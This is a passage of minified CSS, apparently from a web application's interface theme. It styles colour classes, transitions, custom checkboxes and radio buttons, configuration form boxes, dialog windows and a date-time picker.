}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ vertical-align:middle;display:inline-block;margin:0 0.8em 0 0;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;font-size:9.6px;width:16px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-smallx:before{ line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:18px;font-size:10.8px;width:18px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-small:before{ line-height:18px;} input[type="checkbox"].kui-checkbox{ height:20px;font-size:12px;width:20px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox:before{ line-height:20px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;font-size:15.6px;width:26px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-big:before{ line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;font-size:19.2px;width:32px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-bigx:before{ line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ font-size:9.6px;height:16px;width:16px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-smallx:before{ line-height:14px;} input[type="radio"].kui-radio.size-small{ font-size:10.8px;height:18px;width:18px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-small:before{ line-height:16px;} input[type="radio"].kui-radio{ font-size:14.4px;height:24px;width:24px !important;margin-right:0.8em;} input[type="radio"].kui-radio:before{ line-height:22px;} input[type="radio"].kui-radio.size-big{ font-size:15.6px;height:26px;width:26px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-big:before{ line-height:24px;} input[type="radio"].kui-radio.size-bigx{ font-size:19.2px;height:32px;width:32px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-bigx:before{ line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.form-box{color:#444;}.form-box a{color:#5d9cec;text-decoration:none;}.form-box a:hover{color:#4a89dc;}.form-box .panel-body{position:relative;}.form-box .panel-body .line,.form-box .panel-body hr{border:none;height:1px;overflow:hidden;background:#ddd;margin:10px 30px;height:2px;background:transparent url("../../../images/common/line.png") repeat-x 0 0;}.form-box .panel-body h1,.form-box .panel-body h2,.form-box .panel-body h3,.form-box .panel-body h4,.form-box .panel-body h5{margin:0.6em 1em 0.5em 30px;padding-bottom:0.4em;border-bottom:1px solid #ddd;}.form-box.config-box .form-header{height:40px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#efefef', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-o-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);-pie-background:linear-gradient(to 60deg,#efefef 0%,#f5f7fa 100%);border-bottom:1px solid #ddd;}.form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:30px;font-size:14px;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-item-file{height:26px;width:26px;line-height:26px;text-align:center;border-radius:15%;display:inline-block;margin-right:10px;padding:0;color:#fff;position:relative;top:8px;}.form-box.config-box .form-header .modal-title img.x-font-icon,.form-box.config-box .form-header .modal-title .x-item-file.x-font-icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.form-box.config-box .form-header .modal-title img.font-icon-words,.form-box.config-box .form-header .modal-title .x-item-file.font-icon-words{font-size:10px;}.form-box.config-box .form-header .modal-title i{font-style:normal;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-font-icon{top:0px;}.form-box.config-box .panel-body{overflow:auto;border-radius:4px;padding:20px 0;position:absolute;left:0;right:0;top:42px;bottom:71px;margin:0;border:none;background:#fff;}.form-box .form-row{padding:3px 30px;padding-right:5px;width:auto;margin:1px 0;}.form-box .form-row:after{clear:both;}.form-box .form-row.form-group{margin:0;}.form-box .form-row label{margin-right:10px;display:inline;}.form-box .form-row input[type='radio']{display:inline-block;margin-right:10px;}.form-box .form-row input[type='text'],.form-box .form-row input[type='password'],.form-box .form-row input[type='number']{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;display:inline-block;height:28px;width:260px;color:#444;border-radius:4px;padding-left:0.5em;margin-right:10px;}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row select{min-width:268px;}.form-box .form-row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:251px;height:100px;margin-right:10px;border-radius:2px;padding:8px;transition:none;}.form-box .form-row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row textarea:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row .setting-title{height:30px;line-height:30px;width:140px;margin-right:20px;padding-top:5px;padding-left:5px;float:left;position:relative;text-align:right;}.form-box .form-row .setting-title .require{color:#ff5722;font-size:20px;position:absolute;margin-top:4px;padding:0 0 0 5px;}.form-box .form-row .setting-content{float:left;position:relative;width:70%;padding:5px;border-radius:4px;border:1px solid transparent;}.form-box .form-row .setting-content input.has-btn-right{width:220px;padding-right:40px;}.form-box .form-row .setting-content .input-btn-right{padding:0;margin-left:-50px;position:absolute;width:35px;height:30px;line-height:30px;border-radius:0 4px 4px 0;}.form-box .form-row .setting-content .input-btn-right .font-icon{font-size:14px;width:20px;padding:0 !important;}.form-box .form-row .setting-content input.has-btn-right:focus + .input-btn-right{border-color:#75a1f0;border-left-color:#c7d5ef;}.form-box .form-row .font-icon{padding:0;}.form-box .form-row .user-select{margin:0.5em 0;}.form-box .form-row.form-userSelect .setting-content{background:#f8fcff;padding:10px 5px;margin-top:-5px;}.form-box .form-row.form-userSelect .desc{margin-top:10px;}.form-box .form-row.error .setting-content{background:#ffefed;border-color:#ffb3ae;}.form-box .form-row.form-color .color-picker-view i{width:20px;height:20px;margin-top:5px;box-shadow:0 0 4px #666;display:inline-block;border-radius:2px;}.form-box .form-row .select2-container{width:270px !important;}.form-box .form-row .slider.slider-horizontal{width:260px;margin-right:20px;height:30px;}.form-box .form-row .slider .tooltip{pointer-events:none;}.form-box .form-row .desc,.form-box .form-row .setting-content i{color:#9ba3af;font-style:normal;}.form-box .ztree.group-list-tree a{border:none;padding-left:3px;}.form-box .ztree.group-list-tree a:hover{border:none;}.form-box .ztree.group-list-tree li a.curSelectedNode{color:#fff;}.form-box .ztree.group-list-tree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}.form-box .ztree.group-list-tree .hover .sub-menu{display:inline-block;color:#666;}.form-box .ztree.group-list-tree .curSelectedNode .sub-menu,.form-box .ztree.group-list-tree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}.form-box-title-left .form-row .setting-title{text-align:left;}body .colorpicker{z-index:99999;}body .dialog-plugin-config.dialog-no-title .aui-outer{box-shadow:0 6px 40px 0 rgba(16,17,18,0.3);border:1px solid #ccc !important;border-radius:4px;overflow:hidden;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close{color:#bbb;color:rgba(0,0,0,0.2);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active{background:rgba(0,0,0,0.12);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active.aui-close{color:#fff;background:#e81123;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons{padding-right:20px;height:40px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons button{margin-top:5px;margin-left:20px;padding:0 2em;height:30px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset{background:none;border:none;box-shadow:none;padding:0px 10px;color:#bbb;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset:hover{color:#2196F3;background:#eaf5ff;}div.xdsoft_datetimepicker{border-top:2px solid #39f;padding:0;height:250px;color:#666;}div.xdsoft_datetimepicker .xdsoft_label,div.xdsoft_datetimepicker .xdsoft_month{text-align:center;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_label:hover,div.xdsoft_datetimepicker .xdsoft_month:hover{text-decoration:none;background:#e6f2ff;}div.xdsoft_datetimepicker .xdsoft_label:hover span,div.xdsoft_datetimepicker .xdsoft_month:hover span{color:#20a0ff;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select{box-shadow:0px 2px 10px rgba(0,0,0,0.2);border:1px solid rgba(0,0,0,0.1);max-height:300px;height:200px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_monthselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_monthselect{right:0px;width:90px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_yearselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_yearselect{right:0px;width:56px;}div.xdsoft_datetimepicker .xdsoft_scrollbar >.xdsoft_scroller{background:rgba(0,0,0,0.3) !important;}div.xdsoft_datetimepicker .xdsoft_calendar td,div.xdsoft_datetimepicker .xdsoft_calendar th{height:30px;text-align:center;background:none;border:none;}div.xdsoft_datetimepicker .xdsoft_calendar td div,div.xdsoft_datetimepicker .xdsoft_calendar th div{padding:0;}div.xdsoft_datetimepicker .xdsoft_calendar th{background:#eee;color:#444;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_datepicker{width:220px;margin-right:10px;}div.xdsoft_datetimepicker .xdsoft_datepicker.active+.xdsoft_timepicker{margin:0;}div.xdsoft_datetimepicker 